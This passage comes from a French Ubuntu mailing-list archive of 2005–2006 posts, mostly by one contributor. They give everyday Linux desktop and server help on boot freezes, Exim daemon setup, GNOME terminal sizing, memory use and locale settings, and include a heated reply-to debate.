Sébastien, j'ai trouvé cela

https://bugzilla.ubuntu.com/show_bug.cgi?id=14120

et cela semble proche (même si ce n'est pas très parlant comme rapport
de bogue).

X.org serait-il si peu stable ?

J'ai _occasionnellement_ les mêmes soucis (disons une fois par semaine
au maximum) avec mon AMD64+Matrox G550...

PK

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Gel complet d'une machine après amorçage

2006-01-01 Par sujet Patrice Karatchentzeff
Salut,

J'ai un gros soucis avec une machine nouvellement installée (qui est,
évidemment, à pétaouchnock).

AMD 32 bits, Nvidia, SATA-133, Breezy, rien que du libre dessus (donc
pas les pilotes Nvidia). Le clavier et la sourics sont des Logitech
(sans fil).

L'installation est tout fraîche (dimanche dernier). Depuis, la machine
a commencé à géler après quelques heures d'utilisation. Maintenant,
c'est pratiquement à la fin de l'amorçage : dans le meilleur des cas,
on peut se logguer puis la machine se fige : plus de souris, plus de
clavier : reboot hard obligatoire.

Le noyau : 2.6.12-9 et 10. Même symptôme pour les deux.

J'ai tenté de (faire) passer les options suivantes (avec toutes les
combinaisons possibles) :

apm=off acpi=off pci=noacpi

dans le meilleur des cas, j'ai le même résultat : dans les autres, je
n'amorce pas ou pas loin (problème de detection du disque).

J'ai fait tourner un memtest dessus sans soucis. Le cédérom Live
d'Ubuntu semble fonctionner dessus... jusqu'à ce matin où le problème
s'est aussi rencontré...

Là, maintenant, je sèche... si quelqu'un a une idée...

Il y avait une Sarge (vieille, du temps de la testing genre janvier
2005) qui tournait dessus depuis un an.

SI quelqu'un a une idée...

Merci

PK

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Re: Exim et lancement en daemon

2005-12-27 Par sujet Patrice Karatchentzeff
2005/12/27, Mathieu CATTIN [EMAIL PROTECTED]:
 Bonjour,
 Il semble que sur ubuntu breezy (que j'utilise aussi) exim se lance via
 inetd, la solution pour changer cela est d'éditer le
 fichier /etc/inetd.conf et d'enlever la ligne suivante :
 smtpstream  tcp nowait  mail/usr/sbin/exim exim -bs
 ensuite vous pouvez démarrer exim avec :
 /etc/init.d/exim start
 ce qui lance le demon normalement.

oui, c'est exact : c'est ce que j'ai fini par faire... c'est marqué
dans le REAMDE.Debian du paquet exim (j'avais loupé l'explication...
faut dire qu'il était tard).

PK

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Exim et lancement en daemon

2005-12-25 Par sujet Patrice Karatchentzeff
Salut,

Je suis en train de devenir un peu fou :)

D'un côté, une Debian Sarge, de l'autre une Ubuntu Breezy.

Je fais tourner Exim en smarthost (donc un relais SMTP vers free et
une délivrance locale). Pas de soucis (depuis des années) sur la Sarge
(pour les années, il faut remonter au temps où elle était en Woody
puis en Potato puis... là, je parle d'un temps que les moins de 40 ans
ne peuvent plus connaître...).

Je tente de faire la même chose avec la Breezy. Même fichier de conf
que sur la Sarge.

Par contre, impossible de rapatrier mes messages avec fetchmail : le
pop de free ne peut accéder à mon smtp. En creusant un peu, je
découvre que sur la Breezy, impossible de se connecter en local à mon
SMTP (c'est c... pour un relais).

# telnet localhost 25
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused

alors que cela marche nickel sur la Sarge...

Et là, après bien des heures de recherche, bingo, j'ai l'illumination
: mon daemon ne tourne pas en... daemon.

# exim -bd

et là, miracle (c'est le 25... un peu mûr mais bon...), tout
fonctionne : le telnet en local, fetchmail, etc.

Bon, maintenant, je cherche à comprendre pourquoi d'un côté cela
fonctionne nativement et de l'autre pas... j'ai la même installation,
le même fichier /etc/init.d/exim qui lance le même /etc/inetd.conf...

Bref, si quelqu'un a un tuyau avant que je ne fasse un gros hack bien sale...

Merci d'avance,

PK

PS : je veux bien passer à Postfix (le choix par défaut made in
Ubuntu) si Postfix a un mécanisme similaire à Exim via
/etc/email-addresses : sinon, pas la peine, c'est poubelle : free
m'envoie « gentimment » braire...

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Re: Changer la propriété d'un fichier sou s Nautilus

2005-12-18 Par sujet Patrice Karatchentzeff
2005/12/18, Sebastien Bacher [EMAIL PROTECTED]:
 Le samedi 17 décembre 2005 à 20:33 +0100, Patrice Karatchentzeff a
 écrit :
  Salut,
 
  J'ai un gag... moyen. J'ai un divX qui est vu sous Nautilus comme un
  fichier audio. Or, un coup de « file » dessus m'assure qu'il s'agit
  bien d'un ogg/video.

 C'est un bug connu qui vient du fais qu'ogg est une encapsulation et que
 de faire la différence sur le contenu n'est pas triviale. C'est réglé
 upstream et donc pour le prochain GNOME/Ubuntu. En attendant le fichier
 peut être ouvert avec un click du bouton droit et ouvrir avec...

OK et merci.

Du coup, cela merdoie un peu avec un lecteur de salon qui ne peut lire
le format... je vais attendre un peu...

Merci

PK

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Re: Serveur Linux

2005-12-12 Par sujet Patrice Karatchentzeff
Le 12/12/05, Alexandre Franke[EMAIL PROTECTED] a écrit :

[...]

 configuration. Ma Sarge occupe 40 Mo d'espace disque. Combien occupe

40 Mo ? T'as méchamment nettoyé l'installation de base, non ?

PK

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Re: Serveur Linux

2005-12-12 Par sujet Patrice Karatchentzeff
Le 12/12/05, Alexandre Franke[EMAIL PROTECTED] a écrit :

[...]

 Euh, non... j'ai fait l'install minimal puis j'ai ajouté les paquets
 phpmyadmin, mysql-server, apache, ssh, vim.

 Par contre j'ai oublié un 0.
 # du -ksh
 372M.

Je préfère :)

PK

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Re: Hexadécimal

2005-12-08 Par sujet Patrice Karatchentzeff
2005/12/7, Gerard Reginald [EMAIL PROTECTED]:

[...]

 Mais vous dirai qu'il faut un début à tout, le problème, c'est que j'ai
 pas le temps d'étudier le programme pour voir comment faire, je doit
 paré au plus pressé, le client n'attend pas hélas et veut des résultats
 pour.avant hier :o((

précipitation et absence de réflexion sont les mamelles du travail mal fait.

 Et comme après ce fichier j'ai encore quatre bâtiments à trier de la
 même façon, je suis vraiment pas sorti de l'auberge, hors, il s'avère
 que tout le système de la centrale incendie repose sur de l'Unix vieux
 de 1981, vous comprendrez aisément que Windows ne sait rien faire et que
 je doit vraiment me dépatouiller avec ces fichiers LT en hexadécimal.

recherche dans synaptic ou via apt-cache search le nombre de truc à
base d'hexa : j'ai relevé vche, hexcurse, hexcat, ghex, etc. Bref, de
quoi te dépatouiller quand même...

C'est bizarre tout de même des fichiers en hexa : sous UNIX, la
tradition est plutôt au fichier texte...

Au fait, la sécurité basé sur un truc qui a 25 ans, cela fait un peu
peur ton machin... surtout si personne ne sait comment en extraire des
infos :)

PK

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Re: Hexadécimal

2005-12-06 Par sujet Patrice Karatchentzeff
2005/12/7, Gerard Reginald [EMAIL PROTECTED]:
 Bonjour Yann,
 Je vait voir avec Google pour avoir des infos sur String.

 Oui, en effet, je doit extraire des données hexadécimales, j'avoue ne
 pas avoir été assez claire.

 En clair, nous avons extrait des méta données hors d'une eprom, ces
 données sont en format .HEX.

 Sous Kate, je peut les lires, merci Linux ;o))

Si tu connais Emacs, tu as un mode dédié : hexl-mode.

PK


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Re: Breezy et les MgHz

2005-11-19 Par sujet Patrice Karatchentzeff
2005/11/19, Marc GAVAGE [EMAIL PROTECTED]:

[...]

 J'ai moi même une machine chargée comme un baudet asmatique.
 J'ai voulu y installer XFCE puisque ce WM a pour réputation d'être léger.
 C'est encore pire.
 Je m'associe donc a Bill pour savoir comment récuperer des performances.

Ben, faute de description du matériel, il est difficile de vous aider
tous les deux... Apache est un gros bouffeur de mémoire... c'est une
piste : si vos machines n'ont
pas au moins 128 Mo de mémoire (et encore...), cela va l'écrouler. De
même, iptables consomme du cpu, spamassion du cpu et de la mémoire,
etc.

PK

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Re: Breezy et les MgHz

2005-11-19 Par sujet Patrice Karatchentzeff
Le 19/11/05, wad[EMAIL PROTECTED] a écrit :
  Tiens je me rend compte que je suis pas le seul à avoir quelques problème
 de ralentissement !
  Pour ma part j'ai un portable (Xbook pour ceux qui connaissent) avec un
 centrino dothan 1,6GHz, 512Mo pc 2700 et un DD 60Go à 5400tr et il m'arrive
 d'avoir des grosses crises de ralentissement avec un dd qui s'emballe et un
 mémoire complètement pleine !

La mémoire pleine, ce n'est rien : le noyau Linux met systématiquement
tout ce qu'il peut en mémoire pour accélérer les choses, au cas où. Un
meilleur indicateur est le taux d'occupation de la mémoire d'échange
(le swap). S'il est très rempli, c'est que la quantité de mémoire vive
est insuffisante... C'est une première piste.

Une autre piste est la machine : le point bloquant dans un ordinateur
est la pièce la plus lente. Dans toutes les machines, ce sont les
disques durs. Et c'est particulièrement le cas dans les portables qui
sont équipés de daube en générale (c'est ton cas : un 5400 tours/mn a
généralement des performances abominablement lentes).

Dans ton cas, je mettrai un maximum de mémoire vive... C'est de toute
façon une très bonne idée en général pour lutilisation de Linux,
d'autant plus que des environnement comme GNOME sont très gourmands.

  pourtant chez moi, point de apache et encore moin de spamassion ! rien
 qu'une installation quasi de standard de breezy !

Donc, que GNOME. 512 Mo est alors AMHA le minimum syndical...

PK

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Re: Désactivation des racourcis clavier

2005-11-18 Par sujet Patrice Karatchentzeff
Le 18/11/05, Arrakis Muadib[EMAIL PROTECTED] a écrit :

[...]

 Alors, comment peut-on désactiver les racourcis clavier de gnome -console?

Tiens, je n'avais jamais vu... pour la touche Meta, j'utilise Esc,
c'est pour cela. C'est parce que tu utilises Alt...

PK

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Re: Taille et position des fenêtres dans Gnom e (était Re: Gnome Terminal)

2005-11-15 Par sujet Patrice Karatchentzeff
Le 15/11/05, Guy AJ Capra[EMAIL PROTECTED] a écrit :

[...]

 Donc rajouter --geometry=80x45-120-80 à la suite de la commande du
 lanceur de terminal marche bien pour la fenêtre explicitement désignée
 (80x45 étant la taille et -120-80 la position facultative).

 Mais quel est le moyen de garder en mémoire automatiquement la taille et
 la position de toutes les fenêtres ouvertes dans Gnome ?

J'avoue que cela me casse les c... aussi mais malheureusement, je n'ai
rien trouvé non plus... même en explorant la « base de registres ».

Manifestement, ce n'est pas prévu dans le gnome-terminal par défaut.
Ni même le multi-gnome-terminal (hélas laissé en GTK1...). C'est bien
dommage car c'est le seul outil qui se rapproche de konsole, le seul
outil de KDE vraiment bon :)

PK

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Re: Taille et position des fenêtres dans Gnom e (était Re: Gnome Terminal)

2005-11-15 Par sujet Patrice Karatchentzeff
Le 15/11/05, Isabella[EMAIL PROTECTED] a écrit :

[...]

  et sawfish à la place de metacity ?

Rien à voir : on parle de gnome-terminal, pas du gestionnaire de fenêtres...

PK

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Gestionnaire de fenêtres [était :Taille et position des fenêtres dans Gnome ]

2005-11-15 Par sujet Patrice Karatchentzeff
Le 15/11/05, Guy AJ Capra[EMAIL PROTECTED] a écrit :

[...]

 J'ai vu aussi xubuntu avec XFCE à la place de Gnome, et ça m'a donné
 l'envie d'explorer ces bureaux graphiques légers.

 Comment peut-on remplacer Gnome par des interfaces graphiques moins
 lourdes et incertaines sans sacrifier aux automatismes utiles ?

 Ça serait intéressant par exemple d'utiliser KDE pour migrer de Windows,
 puis de pouvoir le remplacer dans un deuxième temps par un bureau
 graphique plus léger, non ?

bof...

En fait, je suis en train de tester GNOME depuis plusieurs mois... je
le fais avec un œil neuf de celui qui n'a aucun a priori sur les
interfaces graphiques car j'utilise uniquement des environnements
minimalistes depuis mes débuts sous Linux (qui remonte... à loin
maintenant... du temps ou KDE et GNOME n'existaient pas).

Il n'y a pas vraiment de différence fonctionnelle. Le bridage de GNOME
est un peu excessif à mon goût mais n'est pas bloquant. L'interface
épurée est bien pensée (en fait, celle d'Ubuntu, pas celle de GNOME
par défaut) et va dans le bon sens pour que l'utilisateur travaille
tranquillement. On se fabrique un environnement personnel en moins de
dix minutes si l'on sait ce que l'on veut et le bureau par défaut
convient bien.

En terme de légèreté, c'est du pipeau. Sur une machine moderne, GNOME
est totalement indolore. Cela va de soit que cela ne tourne pas sur un
sasfépu mais ce n'est pas le public.

Je reprocherai en fait à GNOME sa documentation. C'est essentiellement
son gros défaut. Impossible de comprendre comment cela fonctionne et
le configurer un peu (hormis les trois réglages de base... qui suffise
à 80% des besoins). Les gestionnaire gconf est un exemple incroyable :
c'est la croix et la bannière pour comprendre à quoi servent les
variables, et surtout, les différentes valeurs qu'elles *peuvent*
prendre (je ne suis pas près d'oublier le temps que m'a pris de
changer le binding de GTK2 vers celui naturel de Emacs). Le second
reproche est quand même ses bogues un peu partout qui sont irritants à
l'usage : le nombre d'applications qui plantent est quand même trop
importante à mon goût... même si cela reste utilisable... mais pour
quelqu'un qui a l'habitude d'utiliser la même application pendant des
jours sans la fermer, cela refroidit (bien sûr, les gens venant de
Windows ne sont pas concernés ;)). Le dernier point irritant est la
mise à jour... d'une version à l'autre, il est strictement impossible
de migrer sans perdre la moitié des nouvelles fonctionnalités. Il faut
virer sa config et la recommencer complètement... cela fait un peu
amateur.

Par contre, j'ai vraiment apprécier l'interface de GNOME. Le sélecteur
de fichiers - dont j'ai entendu pis que pendre - est tout bonnement
excellente et naturellement bien foutue. L'interfaçage du clavier avec
les applis graphiques est naturelle... c'est un bon compromis, surtout
pour un habitué du clavier...Nautilus ? C'est le premier gestionnaire
graphique que j'utilise (un peu). Le mode spatial (tant décrié aussi)
m'a plutôt plu. Seul Evolution est AMHA une sombre bouse... je viens
de l'utiliser 6 mois (quand même :)) et hormis le module exchange pour
le calendrier, c'est vraiment ergonomiquement une tâche dans GNOME :
il y a encore plus de bogues que dans le reste et à l'usage, c'est
vraiment limite...

Alors, qu'apporte un environnement léger ? Rien pour ma part (hors
sasfépu). Le nombre de fonctionnalités manquantes (HAL, gestionnaire
de fichiers,  etc.) fait que l'environnement léger devient
automatiquement « lourd » pour peu que l'on veuille avoir un semblant
de fonctionnalités identiques... Si l'on ne veut pas ces
fonctionnalités, la question ne se pose alors pas...

Pour ma part, j'ai eu le raisonnement inverse : ces fonctionnalités me
sont *occasionnellement* utiles donc je conserve GNOME sur mes bécanes
récentes (en espérant que chaque version améliore un peu les points
critiqués). Qui peut le plus...

Bref, honnêtement, je n'y croyais pas trop il y a quelques mois... KDE
m'avait fortement déplu (à part konsole, qui est vraiment bien) dû,
certainement, à une ergonomie imbitable et leur look insupportable
(mais bon, les goûts et les couleurs... le look d'Ubuntu par défaut
est aussi dégueu à mes yeux...).

PK

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Re: Taille et position des fenêtres dans Gnom e (était Re: Gnome Terminal)

2005-11-15 Par sujet Patrice Karatchentzeff
Le 15/11/05, Jeremy Vies[EMAIL PROTECTED] a écrit :
 Sans vouloir être désabréable, tout au contraire...
 On essaye de faire démarrer un Gnome-terminal à un endroit précis sur le
 bureau (et en pleine page).
 Le problème est le même avec n'importe quelle appli. Et c'est bien le
 gestionnaire de fenêtre qui doit s'y coller.

Je répondais à la question de la taille *par défaut* de l'appli... pas
de la commande.

La lancer à un endroit précis est facile :

gnome-terminal --geometry=124x48+12+12 -e 'commande que tu veux'

Tu as une fenêtre de 124x48 (la taille) située (le coin en haut à
gauche du terminal) à (12,12) (en pixel, sur ton fond d'écran, le 0,0
étant le coin en haut à gauche).

Par contre, à ma connaissance, avec le gestionnaire par défaut de
GNOME, difficile de le placer sur un bureau précis.

Sinon, la question initiale, c'est bien que chaque fois que l'on lance
gnome-terminal, on ait la bonne taille (le 124x48 par exemple) par
défaut. C'est facile avec les applis X mais GNOME n'a pas trop l'air
de suivre cela... À moins que cela ne fonctionne aussi... mais
toujours comme quand on veut creuser un peu avec GNOME, on n'a pas de
doc...

PK

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Re: Gestionnaire de fenêtres [était : Taille et position des fenêtres dans Gnome ]

2005-11-15 Par sujet Patrice Karatchentzeff
Le 15/11/05, Guy AJ Capra[EMAIL PROTECTED] a écrit :

[...]

 Quand vous dites que la lourdeur de Gnome est secondaire sur les
 appareils modernes, j'en doute un peu : en effet, la réactivité de
 Windows XP semble nettement plus rapide que sous Gnome. C'est entre
 autre pour cette raison que je souhaite expérimenter des interfaces
 graphiques plus légères.

bah... on n'a pas la même expérience alors... J'ai utilisé XP pendant
deux mois cette été en appoint de ma station sous Linux et cela m'a
effrayé... faut dire que ma dernière vraie expérience de Windows etait
3.11. Cela met une heure à se charger (station très puissante), la
gestion de la souris est déconcertante, l'interface est tellement
surchargée et « bouge » toute seule dans tous les sens sans qu'on ne
lui demande rien... proche de l'horreur absolue... côté lourdeur
aussi...

Alors, j'ai vraiment l'impression que chacun voit midi à sa porte :)

 Vous parlez de HAL... Aucun rapport avec la reconnaissance automatique
 de matériel hormis son affichage, si ?

HAL, c'est le gadget qui permet de mettre la touche finale à
l'utilisation bureautique. Lorsque c'est bien intégré - comme sur la
Ubuntu - c'est vraiment d'un très grand confort d'utilisation... C'est
typiquement le truc gadget qui permet de gagner un temps fou...

 D'autre part les bogues que vous citez avec raison sont très
 déconcertants, surtout lorsqu'on se décide finalement à migrer parce
 qu'on nous a dit que Linux, c'est beaucoup plus stable... Avant de

Linux = noyau. C'est le cœur du système et c'est très costaud. Les
applications qui ont un temps d'existence conséquent (X11, Emacs,
Apache, etc.) sont extrêmement robustes...

Le problème de GNOME (et KDE), c'est qu'ils sont en perpétuel
développement. C'est un choix fait par les équipes de développements :
nombre de sorties importantes, beaucoup de fonctionnalités nouvelles,
etc. Cela a un coût en terme de finitions et le coût est une
instabilité des applications. C'est relatif bien sûr mais réel.

 comprendre sur le tard que les gens qui disent ça le disent d'un Linux
 serveur, sans interface graphique...

 Bref, y a-t-il un document quelque part qui explique par le menu les
 avantages à adopter Gnome (ou KDE) au lieu d'un XFCE ou autre ?
 (je suis aussi intéressé par l'inverse, c-à-d les pro XFCE...)

Bof... je pense que c'est tellement personnel que cela n'a pas
vraiment d'importance... le plus simple est de tester soit même...

PK

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Re: Taille et position des fenêtres dans Gnom e (était Re: Gnome Terminal)

2005-11-15 Par sujet Patrice Karatchentzeff
Le 15/11/05, Guy AJ Capra[EMAIL PROTECTED] a écrit :
 Le 15.11.2005 11:26, Patrice Karatchentzeff inscrivait :

[...]

 (clic-droit sur Applications puis Editer les menus puis dans la
 fenêtre ouverte : Accessoires puis clic-droit sur Terminal dans la
 partie droite puis Propriétés et tu rajoutes ton option :
  --geometry=124x48+12+12
 à la fin du texte dans Command:)

En effet, c'est un palliatif... mais AMHA, cela ne répond pas
complètement au problème (i.e. qui est de personnaliser gnome-terminal
et non le lancement de gnome-terminal (ce que tu proposes)). Le
premier qui me propose de faire un alias prend une baffe :)

Bon, en tout cas, faute de grive, j'adopte au moins cette solution...

PK

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Lecteur de courriel sous Nautilus...

2005-11-14 Par sujet Patrice Karatchentzeff
Salut,

Dans les applications préférées, on peut choisir notamment son lecteur
de courriels... J'ai fini par virer Evolution et choisi
sylpheed-claws-gtk2

1) je n'ai pas trouvé comment le mettre dans la liste « par défaut »
des lecteurs de courriels... je l'ai donc ajouté dans ceux
personnalisés...

2) cela fonctionne partout sauf pour Nautilus...

Si l'on veut envoyer du courrier avec Nautilus, il propose Evolution
(et le menu de choix est bloqué sur Evolution, sans même la propostion
des lecteurs au choix que l'on avait dans les applis préférées)... et
évidemment, le choix que j'ai fait précédemment est complètement
ignoré...

Quelqu'un a une idée ?

Dans la doc de GNOME, ils disent que l'on peut choisir son éditeur
aussi... pourtant, cela n'apparaît pas dans les applis préférées...
C'est normal ?

Merci d'avance,

PK

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Re: [Fwd: Re: Ralentissements + swap disq ue infernal... Comment pister et réparer ?]

2005-11-06 Par sujet Patrice Karatchentzeff
Le 06/11/05, GAJ[EMAIL PROTECTED] a écrit :
 Patrice Karatchentzeff a écrit :

[...]

  J'ai eu cela sous mon AMD-64... la solution : virer l'économiseur
  d'écran de GNOME. Premièrement, aujourd'hui, un économiseur d'écran
  est une hérésie.

 Pourquoi ?

Comme expliqué au-dessus, cela vient d'une autre époque...

 C'est pratique pour des histoires de discrétion, et les écrans TFT
 marquent quand même... Non ?

Non : tu le règles pour le mettre en veille immédiatement si tu veux.
C'est non seulement largement suffisant mais bien plus économique : un
économiseur qui tourne, c'est du cpu, de la vidéo, bref, plein de
courant utilisé tout à fait inutilement.

[...]

  Pas de log pour cela... tu peux éventuellement mettre en tâche de fond
  un script qui te fait un snapshot des process les plus gourmands en
  mémoire dans un fichier... et regarder a posteriori ce qui s'est
  passé.

 Je ne sais pas faire, et je pense que laisser tourner une boucle pour ça
 ne serait pas des plus souhaitable.

Bof... une boucle qui itère toutes les 10 ou 15 secondes, ce n'est
rien du tout. C'est comme cela que je chasse les programmes suspects
sur les serveurs

[...]

 top c'est rigolo effectivement, (ps me semble un peu trop succinct)
 j'avais oublié ces commandes depuis le temps que je n'avais plus essayé
 d'utiliser un Linux...

C'est tout à fait incontournable dans ton cas... les interfaces
graphiques, c'est très bien tant que tout marche bien... dès que l'on
est dans  la panade, c'est un handicap.

PK

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Re: Economies d'energie (ex: Re: [Fwd : Re: Ralentissements + swap disque infernal. .. Comment pister et réparer ?])

2005-11-06 Par sujet Patrice Karatchentzeff
Le 06/11/05, Laurent Pelecq[EMAIL PROTECTED] a écrit :

[...]

 C'est sur, mais au chapitre des aberrations il y a beaucoup plus grave.
 Comme tous les postes de travail qui restent allumés toutes les nuits et
 tous les week-ends dans les entreprises, avec ou sans économiseur.

 De toute façon une machine qui reste plusieurs heures sans être utilisée
 aurait du être éteinte ou mise en hibernation.

C'est discutable et toujours un sujet de débat animé... dans l'absolu,
tu as raison. Ensuite, quand on creuse un peu, que l'on regarde
l'usure du matériel par allumage/extinction fréquentes, c'est
largement à tempérer ensuite...

Je ne parle d'ailleurs même pas des machines perso qui font toujours
quelque chose (comme chez moi pour le courriel, etc.)

PK

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Re: Virer le splash screen edubuntu

2005-10-30 Par sujet Patrice Karatchentzeff
Le 30/10/05, Laurent CHARLES[EMAIL PROTECTED] a écrit :
 Bonjour, bonsoir,
 J'ai fait je ne sais quelle manip dans une breezy à jour, et ai un un
 écran edubuntu graphique quand le systeme boute. Je voudrais virer
 cet écran (ou remplacer par un autre de mon choix).
 Vu que je ne sais pas ce que j'ai fait pour l'obtenir, je ne sais pas
 quoi faire pour le virer.
 NB: Aucun de paquet 'edubuntu-*' n'est installé.
 Y a t-il quelqu'un qui a une idée?

edubuntu-atwork-splash ?

Le mot-clé, c'est splash...

Par conte, le splash, c'est particulier : autant cela fonctionne bien
sur une machine, autant cela ne fonctionne pas sur l'autre...

PK

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Re: rappel de certaines applis dans le gnome-panel

2005-10-27 Par sujet Patrice Karatchentzeff
Le 07/10/05, Patrice Karatchentzeff[EMAIL PROTECTED] a écrit :

[...]

 Une idée comment unifier les comportements (de préférence à
 l'identique du portable) ?

Comme mon dernier message... la mise à jour de GNOME est foireuse...

Virer tous les .gnome* et .gconf*, se repalucher la conf à la mimine
et tout roule.

PK

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menu Debian

2005-10-25 Par sujet Patrice Karatchentzeff
Salut,

J'ai un truc bizarre... sur une des deux Hoary mises à jour vers
Breezy, il y en a une des deux qui refuse d'afficher le menu Debian
dans le menu application.

Si je regarde smeg, le menu Debian est bien présent mais reste « grisé
». Impossible de l'activer.

J'ai bien sûr fait un update-menu et autres joyeusetés du même genre...

Quelqu'un a une idée ? Au moins comment court-circuité smeg avec un
éditeur par exemple ?

Merci d'avance,

PK

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Re: Sondage reply to

2005-10-04 Par sujet Patrice Karatchentzeff
Le 04/10/05, Pierre[EMAIL PROTECTED] a écrit :
 Patrice Karatchentzeff a écrit :

 ça fait quelques temps que je prends celà sur le ton de la plaisanterie,
 mais là... :

Zorrro est arrivé...

  Je rappelle à tout le monde que l'on est ici dans le domaine du
  *logiciel libre*, c'est-à-dire du « tu n'es pas content alors fais-le
  toi-même ». On n'est pas dans le domaine du propriétaire où l'on ne
  peut faire que ce que les auteurs ont bien voulu laissé faire...
 

 C'est du grand n'importe quoi... C'est pour réveiller les trollomètres
 de la liste ou quoi ?

non.

 Aucun rapport, j'ai rarement lu quelque chose d'aussi...comment dire en
 restant courtois...on va dire...hmm...idiot ?

Comme ta prose. Ce n'est pas parce que ce n'est pas en accord avec ce
que *tu* penses que c'est idiot...

C'est joli l'ouverture d'esprit

 oui, c'est courtois comparé à ce que je pense réellement

 C'est lamentable
 j'espère au moins que ça aura réveillé les modos...

cf. le dernier message qui va *exactement* dans le même sens que moi...

C'est con, hein ?

PK

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Re: Sondage reply to

2005-10-03 Par sujet Patrice Karatchentzeff
Le 03/10/05, marc[EMAIL PROTECTED] a écrit :

[...]

 Vous avez raison d'utiliser l'expression dialogue de sourd...

à la limite, de « non-voyant » mais passons...

 C'est ce que je constate depuis bien longtemps avec les
 informaticiens, les mailing liste, les News, etc...
 C'est comme ça un point c'est tout; c'est le logiciel qui doit le
 faire  j'en passe et des meilleures.

Et cela ne t'as jamais fait réfléchir sur le pourquoi ?

 Si personne n'avait fait évoluer les choses; en pensant et essayant de
 faire mieux, ou autrement; je serai encore devant mon clavier de
 minitel, avec mon serveur RTC sur Atari 520; avec à coté mon Oric 16Ko
 et son lecteur de bande magnétique; en rêvant à une interface graphique
 genre microsoft windows 3.x   ;-)

Souriard mis à part, si tu avais cela à l'époque, c'est parce que des
informaticiens l'ont _inventé_ et _codé_.

Je rappelle à tout le monde que l'on est ici dans le domaine du
*logiciel libre*, c'est-à-dire du « tu n'es pas content alors fais-le
toi-même ». On n'est pas dans le domaine du propriétaire où l'on ne
peut faire que ce que les auteurs ont bien voulu laissé faire...

Si quelque chose ne te plait pas, tu le changes. Si tu n'as pas les
moyens de le faire toi-même, tu le fais faire pas d'autres...

C'est simple et surtout cela évite des plaintes à deux balles sur la
prétendue façon de faire des « informaticiens ».

 Je constate juste ces faits, et cet (ces) état(s) d'esprit; depuis bien
 longtemps dans le milieu informatique.

Encore des guillemets (tout pourri entre nous...).

Si c'est comme cela, c'est que cela a été fait à l'usage pour le bien
du plus grand nombre... le bien du plus grand nombre, cela veut dire
les utilisateurs, les organisateurs, les décideurs et tuti quanti.

Si tu veux un truc qui réponde « à la liste », tu crées un forum sur
Usenet. Ou bien tu crées ta propre hiérarchie de liste en précisant
bien aux arrivants que sur cette liste, on suit tes règles... et
alors, tu peux établir ce que tu veux :

- citer n'importe comment
- ne pas couper les citations
- inclure la signature de ton correspondant
- inclure du HTML... et pourquoi pas du word, du power-point et du excel
- etc.

*Tes* régles, *tes* limites, *ton* univers...

Bref, tout ce que *tu* reproches aux soit-disant informaticiens...

 Inutile d'argumenter en espérant une réponse de ma part sur ce sujet; la
 discussion est close pour moi; le reply to à qui vous voulez; je sais
 m'adapter...

Le début de la sagesse...

PK

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Re: [ bogue ] installation made in Ubuntu

2005-08-29 Par sujet Patrice Karatchentzeff
Le 26/08/05, Patrice Karatchentzeff[EMAIL PROTECTED] a écrit :

[...]

 Pitié... Pensez un peu que l'informatique est née avant l'installation
 d'Ubuntu et la création de GNOME 2.0. Cela ne coûte rien d'ajouter les
 locales latin-9 (iso-8859-15) pour pouvoir au moins lire ce qui
 existait avant... et pas besoin d'autant de locales anglaises... cela
 finit par coûter cher en place.

Dans la même veine, autant configurer automatiquement nautilus  Co
pour qu'ils ne salopent pas l'environnement par défaut...

Ajouter dans /etc/environment

   G_BROKEN_FILENAMES=1

et virer le

  G_FILENAME_ENCODING=UTF-8

(vient peut-être de la version précédente de la Ubuntu... je ne l'ai
pas vu sur la Hoary).

Comme cela, si l'on choisit une autre locale que UTF-8 (choix très
respectable, hein ?), les applis GTK2 n'iront pas écrire les noms de
fichier en UTF-8 par défaut mais dans la locale choisie par
l'utilisateur... et ces mêmes applis seront parfaitement capable de
relire ces noms (avec accent) sans problème...

C'est-t'y pas beau la vie comme cela ?

Merci

PK

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Re: [CLX] [humeur] les outils et assistants sous linux :-( ... abrutissement ?

2005-08-26 Par sujet Patrice Karatchentzeff
Le 26/08/05, Samuel Mouniée[EMAIL PROTECTED] a écrit :

[...]

   - integrer un vrai support de completion dans une vrai console
 graphique ( cad afficher un menu avec les choix retournée par le --
 help de la commande )

zsh ?

PK

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[ bogue ] installation made in Ubuntu

2005-08-26 Par sujet Patrice Karatchentzeff
Salut,

J'ai la flemme d'ouvrir un bogue sur le site d'Ubuntu... il y a assez
de dév Ubuntu par ici pour remonter/tester.

Situation : Hoary x86 (mais j'ai vu la même chose sur AMD64)

Cela concerne essentiellement la modification de dbootstrap par Ubuntu

1)

Quand on est derrière un proxy, on ne demande *jamais* s'il y a besoin
d'utiliser le proxy. Résultat, apt n'est pas configuré et si l'on a le
malheur de répondre oui à la question de mettre à jour (quand on a
choisi une langue d'installation comme le français) directement, la
machine est bloqué pendant... 45 minutes (le temps du timeout d'apt
sur tous les serveurs listés).

L'utilisation du proxy existe pourtant dans debootstrap ; c'est juste
une erreur d'enchaînement.

Je sais, ce n'est pas un cas complètement « débutant » (c'est un cas
d'entreprise) mais bon, c'est bien embêtant quand même...

2)

Toujours suite à mon pépin précédent, je me suis dit : utilisons le
menu GNOME pour placer mon proxy... Autant pisser dans un violon...
cela a peut-être un effet sur les applis GNOME mais

  *) firefox est installé par défaut - pas configuré
  *) apt, synaptic et tutti quanti non plus

Bon, ce n'est pas bien compliqué à faire à la paluche... mais on
s'éloigne du concept « installation from scratch fonctionnel »

3)

Pour finir, un choix malheureux : quand on choisit la locale
francophone, il y a

   *) une tripotée de locales anglaises||US||what you want choisies et
fabriquées
   *) seules les locales fr en *UTF-8* sont choisies et fabriquées...

Pitié... Pensez un peu que l'informatique est née avant l'installation
d'Ubuntu et la création de GNOME 2.0. Cela ne coûte rien d'ajouter les
locales latin-9 (iso-8859-15) pour pouvoir au moins lire ce qui
existait avant... et pas besoin d'autant de locales anglaises... cela
finit par coûter cher en place.

Voili, voilà..

PK

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Re: traduction rosetta

2005-08-24 Par sujet Patrice Karatchentzeff
Le 22/08/05, manu[EMAIL PROTECTED] a écrit :
 Patrice Karatchentzeff a écrit :

[...]

  De plus, on perd une partie de l'efficacité avec le wiki ; par exemple,
 
 Attention à ne pas mélanger le wiki d'Ubuntu-fr et Rosetta, sur le wiki
 l'édition est libre donc on peut faire une modification qui peut être
 reprise car son auteur voit les choses autrements, mais pour rosetta
 cela est différent car c'est une équipe de traducteur officiel qui
 supervise le tout donc tu proposes une traduction, qui peut être
 rejeté car non standart ou accepté car conforme. De plus dans rosetta
 tu peux demander via l'option prévu, à ce que ta traduction soit
